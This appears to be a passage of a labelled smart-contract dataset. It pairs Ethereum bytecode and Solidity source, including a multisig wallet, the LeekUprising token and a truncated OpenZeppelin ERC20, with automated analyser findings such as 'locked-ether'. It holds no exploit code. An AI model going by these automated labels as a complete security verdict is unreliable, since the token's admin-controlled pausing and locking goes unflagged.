188e77557c22593b1af0b920a0829560001b81565b6060600480548060200260200160405190810160405280929190818152602001828054801561122357602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111d9575b5050505050905090565b60608060065467ffffffffffffffff8111801561124957600080fd5b506040519080825280602002602001820160405280156112785781602001602082028036833780820191505090505b5090506000805b60065481101561131d578580156112b757506001600082815260200190815260200160002060030160009054906101000a900460ff16155b806112eb57508480156112ea57506001600082815260200190815260200160002060030160009054906101000a900460ff165b5b1561131057808383815181106112fd57fe5b6020026020010181815250506001820191505b808060010191505061127f565b606088880367ffffffffffffffff8111801561133857600080fd5b506040519080825280602002602001820160405280156113675781602001602082028036833780820191505090505b5090508891505b878210156113b15783828151811061138257fe5b6020026020010151818a84038151811061139857fe5b602002602001018181525050818060010192505061136e565b80945050505050949350505050565b60608060048054905067ffffffffffffffff811180156113df57600080fd5b5060405190808252806020026020018201604052801561140e5781602001602082028036833780820191505090505b5090506000805b60048054905081101561154e576002600086815260200190815260200160002060006004838154811061144457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561154157600481815481106114c957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811061150057fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611415565b60608267ffffffffffffffff8111801561156757600080fd5b506040519080825280602002602001820160405280156115965781602001602082028036833780820191505090505b509050600091505b8282101561160d578382815181106115b257fe5b60200260200101518183815181106115c657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050818060010192505061159e565b80945050505050919050565b60065481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461165757600080fd5b600480549050816032821115801561166f5750818111155b801561167c575060008114155b8015611689575060008214155b61169257600080fd5b826005819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040516116c89190612667565b60405180910390a1505050565b33600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661172c57600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff166001600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561179d57600080fd5b82336002600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561180757600080fd5b60016002600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a36118bd85611c3c565b5050505050565b6000806118d2858585611f19565b90506118dd816116d5565b809150509392505050565b603281565b60005481565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461193157600080fd5b81600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661198857600080fd5b81600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119e057600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a1b57600080fd5b60005b600480549050811015611afe578573ffffffffffffffffffffffffffffffffffffffff1660048281548110611a4f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611af1578460048281548110611aa457fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611afe565b8080600101915050611a1e565b506000600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b33600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611c9357600080fd5b81336002600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611cfc57600080fd5b836001600082815260200190815260200160002060030160009054906101000a900460ff1615611d2b57600080fd5b611d3485610eab565b15611ed957600060016000878152602001908152602001600020905060018160030160006101000a81548160ff021916908315150217905550611e558160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826001015483600201805460018160011615610100020316600290049050846002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611e4b5780601f10611e2057610100808354040283529160200191611e4b565b820191906000526020600020905b815481529060010190602001808311611e2e57829003601f168201915b5050505050612085565b15611e8c57857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611ed7565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008160030160006101000a81548160ff0219169083151502179055505b505b5050505050565b6040518060400160405280600881526020017f4d756c746953696700000000000000000000000000000000000000000000000081525081565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611f5657600080fd5b6000600654905060405180608001604052808773ffffffffffffffffffffffffffffffffffffffff168152602001868152602001858152602001600015158152506001600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020190805190602001906120179291906120ac565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600660008282540192505081905550807fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a280925050509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106120ed57805160ff191683800117855561211b565b8280016001018555821561211b579182015b8281111561211a5782518255916020019190600101906120ff565b5b509050612128919061212c565b5090565b5b8082111561214557600081600090555060010161212d565b5090565b6000813590506121588161282a565b92915050565b60008135905061216d81612841565b92915050565b600082601f83011261218457600080fd5b8135612197612192826126af565b612682565b915080825260208301602083018583830111156121b357600080fd5b6121be8382846127d7565b50505092915050565b6000813590506121d681612858565b92915050565b6000602082840312156121ee57600080fd5b60006121fc84828501612149565b91505092915050565b6000806040838503121561221857600080fd5b600061222685828601612149565b925050602061223785828601612149565b9150509250929050565b60008060006060848603121561225657600080fd5b600061226486828701612149565b9350506020612275868287016121c7565b925050604084013567ffffffffffffffff81111561229257600080fd5b61229e86828701612173565b9150509250925092565b600080604083850312156122bb57600080fd5b60006122c98582860161215e565b92505060206122da8582860161215e565b9150509250929050565b6000602082840312156122f657600080fd5b6000612304848285016121c7565b91505092915050565b6000806040838503121561232057600080fd5b600061232e858286016121c7565b925050602061233f85828601612149565b9150509250929050565b6000806000806080858703121561235f57600080fd5b600061236d878288016121c7565b945050602061237e878288016121c7565b935050604061238f8782880161215e565b92505060606123a08782880161215e565b91505092959194509250565b60006123b883836123dc565b60208301905092915050565b60006123d08383612546565b60208301905092915050565b6123e581612785565b82525050565b6123f481612785565b82525050565b6000612405826126fb565b61240f8185612741565b935061241a836126db565b8060005b8381101561244b57815161243288826123ac565b975061243d83612727565b92505060018101905061241e565b5085935050505092915050565b600061246382612706565b61246d8185612752565b9350612478836126eb565b8060005b838110156124a957815161249088826123c4565b975061249b83612734565b92505060018101905061247c565b5085935050505092915050565b6124bf81612797565b82525050565b6124ce816127a3565b82525050565b60006124df82612711565b6124e98185612763565b93506124f98185602086016127e6565b61250281612819565b840191505092915050565b60006125188261271c565b6125228185612774565b93506125328185602086016127e6565b61253b81612819565b840191505092915050565b61254f816127cd565b82525050565b61255e816127cd565b82525050565b600060208201905061257960008301846123eb565b92915050565b600060808201905061259460008301876123eb565b6125a16020830186612555565b81810360408301526125b381856124d4565b90506125c260608301846124b6565b95945050505050565b600060208201905081810360008301526125e581846123fa565b905092915050565b600060208201905081810360008301526126078184612458565b905092915050565b600060208201905061262460008301846124b6565b92915050565b600060208201905061263f60008301846124c5565b92915050565b6000602082019050818103600083015261265f818461250d565b905092915050565b600060208201905061267c6000830184612555565b92915050565b6000604051905081810181811067ffffffffffffffff821117156126a557600080fd5b8060405250919050565b600067ffffffffffffffff8211156126c657600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612790826127ad565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156128045780820151818401526020810190506127e9565b83811115612813576000848401525b50505050565b6000601f19601f8301169050919050565b61283381612785565b811461283e57600080fd5b50565b61284a81612797565b811461285557600080fd5b50565b612861816127cd565b811461286c57600080fd5b5056fea2646970667358221220e9c51c0110ee4f01e1b4ad29b044d3d99e1012d6c3d8c767724b054f188202d364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,831 |
0x842cd6f7dc181e3887c0fb8dbb8a429976e918d0
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* admin manager
*/
contract AdminManager {
event ChangeOwner(address _oldOwner, address _newOwner);
event SetAdmin(address _address, bool _isAdmin);
//constract's owner
address public owner;
//constract's admins. permission less than owner
mapping(address=>bool) public admins;
/**
* constructor
*/
constructor() public {
owner = msg.sender;
}
/**
* modifier for some action only owner can do
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* modifier for some action only admin or owner can do
*/
modifier onlyAdmins() {
require(msg.sender == owner || admins[msg.sender]);
_;
}
/**
* change this constract's owner
*/
function changeOwner(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit ChangeOwner(owner, _newOwner);
owner = _newOwner;
}
/**
* add or delete admin
*/
function setAdmin(address _address, bool _isAdmin) public onlyOwner {
emit SetAdmin(_address, _isAdmin);
if(!_isAdmin){
delete admins[_address];
}else{
admins[_address] = true;
}
}
}
/**
* pausable token
*/
contract PausableToken is StandardToken, AdminManager {
event SetPause(bool isPause);
bool public paused = true;
/**
* modifier for pause constract. not contains admin and owner
*/
modifier whenNotPaused() {
if(paused) {
require(msg.sender == owner || admins[msg.sender]);
}
_;
}
/**
* @dev called by the owner to set new pause flags
* pausedPublic can't be false while pausedOwnerAdmin is true
*/
function setPause(bool _isPause) onlyAdmins public {
require(paused != _isPause);
paused = _isPause;
emit SetPause(_isPause);
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* lockadble token
*/
contract LockableToken is PausableToken {
/**
* lock data struct
*/
struct LockData {
uint256 balance;
uint256 releaseTimeS;
}
event SetLock(address _address, uint256 _lockValue, uint256 _releaseTimeS);
mapping (address => LockData) public locks;
/**
* if active balance is not enought. deny transaction
*/
modifier whenNotLocked(address _from, uint256 _value) {
require( activeBalanceOf(_from) >= _value );
_;
}
/**
* active balance of address
*/
function activeBalanceOf(address _owner) public view returns (uint256) {
if( uint256(now) < locks[_owner].releaseTimeS ) {
return balances[_owner].sub(locks[_owner].balance);
}
return balances[_owner];
}
/**
* lock one address
* one address only be locked at the same time.
* because the gas reson, so not support multi lock of one address
*
* @param _lockValue how many tokens locked
* @param _releaseTimeS the lock release unix time
*/
function setLock(address _address, uint256 _lockValue, uint256 _releaseTimeS) onlyAdmins public {
require( uint256(now) > locks[_address].releaseTimeS );
locks[_address].balance = _lockValue;
locks[_address].releaseTimeS = _releaseTimeS;
emit SetLock(_address, _lockValue, _releaseTimeS);
}
function transfer(address _to, uint256 _value) public whenNotLocked(msg.sender, _value) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotLocked(_from, _value) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract LeekUprising is LockableToken {
event Burn(address indexed _burner, uint256 _value);
string public constant name = "LeekUprising";
string public constant symbol = "LUP";
uint8 public constant decimals = 6;
/**
* constructor
*/
constructor() public {
//set totalSupply 1000 000 000.000000
totalSupply = 10**15;
//init balances
balances[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
/**
* transfer and lock this value
* only called by admins (limit when setLock)
*/
function transferAndLock(address _to, uint256 _value, uint256 _releaseTimeS) public returns (bool) {
//at first, try lock address
setLock(_to,_value,_releaseTimeS);
//if transfer failed, must be throw a exception
transfer(_to, _value);
return true;
}
/**
* transfer to multi accounts
* if need multi accounts with diffient value, please create a help contract
*/
function transferMulti(address[] adds, uint256 value) public{
//transfer for every one
for(uint256 i=0; i<adds.length; i++){
//if transfer failed, must be throw a exception
transfer(adds[i], value);
}
}
}
|
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304f016c9811461012c57806306fdde0314610185578063095ea7b31461020f57806318160ddd1461024757806323b872dd1461026e578063313ce567146102985780633e05c943146102c3578063429b62e5146102ea5780634b0bddd21461030b57806359f769a9146103315780635c975abb146103525780635de9a1371461036757806366188463146103a157806370a08231146103c557806384d5d944146103e65780638da5cb5b1461040d57806395d89b411461043e578063a6f9dae114610453578063a9059cbb14610474578063bedb86fb14610498578063d73dd623146104b2578063dd62ed3e146104d6575b600080fd5b34801561013857600080fd5b50604080516020600480358082013583810280860185019096528085526101839536959394602494938501929182918501908490808284375094975050933594506104fd9350505050565b005b34801561019157600080fd5b5061019a610538565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d45781810151838201526020016101bc565b50505050905090810190601f1680156102015780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021b57600080fd5b50610233600160a060020a036004351660243561056f565b604080519115158252519081900360200190f35b34801561025357600080fd5b5061025c6105c1565b60408051918252519081900360200190f35b34801561027a57600080fd5b50610233600160a060020a03600435811690602435166044356105c7565b3480156102a457600080fd5b506102ad6105f5565b6040805160ff9092168252519081900360200190f35b3480156102cf57600080fd5b50610183600160a060020a03600435166024356044356105fa565b3480156102f657600080fd5b50610233600160a060020a03600435166106b9565b34801561031757600080fd5b50610183600160a060020a036004351660243515156106ce565b34801561033d57600080fd5b5061025c600160a060020a036004351661077e565b34801561035e57600080fd5b506102336107fc565b34801561037357600080fd5b50610388600160a060020a0360043516610805565b6040805192835260208301919091528051918290030190f35b3480156103ad57600080fd5b50610233600160a060020a036004351660243561081e565b3480156103d157600080fd5b5061025c600160a060020a0360043516610869565b3480156103f257600080fd5b50610233600160a060020a0360043516602435604435610884565b34801561041957600080fd5b506104226108a6565b60408051600160a060020a039092168252519081900360200190f35b34801561044a57600080fd5b5061019a6108b5565b34801561045f57600080fd5b50610183600160a060020a03600435166108ec565b34801561048057600080fd5b50610233600160a060020a036004351660243561098f565b3480156104a457600080fd5b5061018360043515156109bb565b3480156104be57600080fd5b50610233600160a060020a0360043516602435610a4b565b3480156104e257600080fd5b5061025c600160a060020a0360043581169060243516610a96565b60005b82518110156105335761052a838281518110151561051a57fe5b906020019060200201518361098f565b50600101610500565b505050565b60408051808201909152600c81527f4c65656b5570726973696e670000000000000000000000000000000000000000602082015281565b60055460009060ff16156105b057600354600160a060020a03163314806105a557503360009081526004602052604090205460ff165b15156105b057600080fd5b6105ba8383610ac1565b9392505050565b60005481565b60008382806105d58361077e565b10156105e057600080fd5b6105eb868686610b27565b9695505050505050565b600681565b600354600160a060020a031633148061062257503360009081526004602052604090205460ff165b151561062d57600080fd5b600160a060020a038316600090815260066020526040902060010154421161065457600080fd5b600160a060020a03831660008181526006602090815260409182902085815560010184905581519283528201849052818101839052517f1af17a8336345b6fee396227f6f445a90923c4d41994f083e9b9dc5d23ab9b199181900360600190a1505050565b60046020526000908152604090205460ff1681565b600354600160a060020a031633146106e557600080fd5b60408051600160a060020a0384168152821515602082015281517f55a5194bc0174fcaf12b2978bef43911466bf63b34db8d1dd1a0d5dcd5c41bea929181900390910190a180151561075657600160a060020a0382166000908152600460205260409020805460ff1916905561077a565b600160a060020a0382166000908152600460205260409020805460ff191660011790555b5050565b600160a060020a0381166000908152600660205260408120600101544210156107dc57600160a060020a0382166000908152600660209081526040808320546001909252909120546107d59163ffffffff610b7b16565b90506107f7565b50600160a060020a0381166000908152600160205260409020545b919050565b60055460ff1681565b6006602052600090815260409020805460019091015482565b60055460009060ff161561085f57600354600160a060020a031633148061085457503360009081526004602052604090205460ff165b151561085f57600080fd5b6105ba8383610b8d565b600160a060020a031660009081526001602052604090205490565b60006108918484846105fa565b61089b848461098f565b506001949350505050565b600354600160a060020a031681565b60408051808201909152600381527f4c55500000000000000000000000000000000000000000000000000000000000602082015281565b600354600160a060020a0316331461090357600080fd5b600160a060020a038116151561091857600080fd5b60035460408051600160a060020a039283168152918316602083015280517f9aecf86140d81442289f667eb72e1202a8fbb3478a686659952e145e853196569281900390910190a16003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600033828061099d8361077e565b10156109a857600080fd5b6109b28585610c7d565b95945050505050565b600354600160a060020a03163314806109e357503360009081526004602052604090205460ff165b15156109ee57600080fd5b60055460ff1615158115151415610a0457600080fd5b6005805482151560ff19909116811790915560408051918252517f140eb9f8b591138e129e4caf389c92df4f0545b902523eee9e63153ecdb2026e9181900360200190a150565b60055460009060ff1615610a8c57600354600160a060020a0316331480610a8157503360009081526004602052604090205460ff165b1515610a8c57600080fd5b6105ba8383610cc8565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055460009060ff1615610b6857600354600160a060020a0316331480610b5d57503360009081526004602052604090205460ff165b1515610b6857600080fd5b610b73848484610d61565b949350505050565b600082821115610b8757fe5b50900390565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610be257336000908152600260209081526040808320600160a060020a0388168452909152812055610c17565b610bf2818463ffffffff610b7b16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460009060ff1615610cbe57600354600160a060020a0316331480610cb357503360009081526004602052604090205460ff165b1515610cbe57600080fd5b6105ba8383610eda565b336000908152600260209081526040808320600160a060020a0386168452909152812054610cfc908363ffffffff610fbd16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6000600160a060020a0383161515610d7857600080fd5b600160a060020a038416600090815260016020526040902054821115610d9d57600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610dcd57600080fd5b600160a060020a038416600090815260016020526040902054610df6908363ffffffff610b7b16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610e2b908363ffffffff610fbd16565b600160a060020a038085166000908152600160209081526040808320949094559187168152600282528281203382529091522054610e6f908363ffffffff610b7b16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6000600160a060020a0383161515610ef157600080fd5b33600090815260016020526040902054821115610f0d57600080fd5b33600090815260016020526040902054610f2d908363ffffffff610b7b16565b3360009081526001602052604080822092909255600160a060020a03851681522054610f5f908363ffffffff610fbd16565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000828201838110156105ba57fe00a165627a7a7230582052e09630923f75a4ba0f7599f4e31e926c2d52c8af4c7c4daeac65ccce197a900029
|
{"success": true, "error": null, "results": {}}
| 7,832 |
0xd8b71e620c395253f09bab64b8587bb0579ef456
|
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
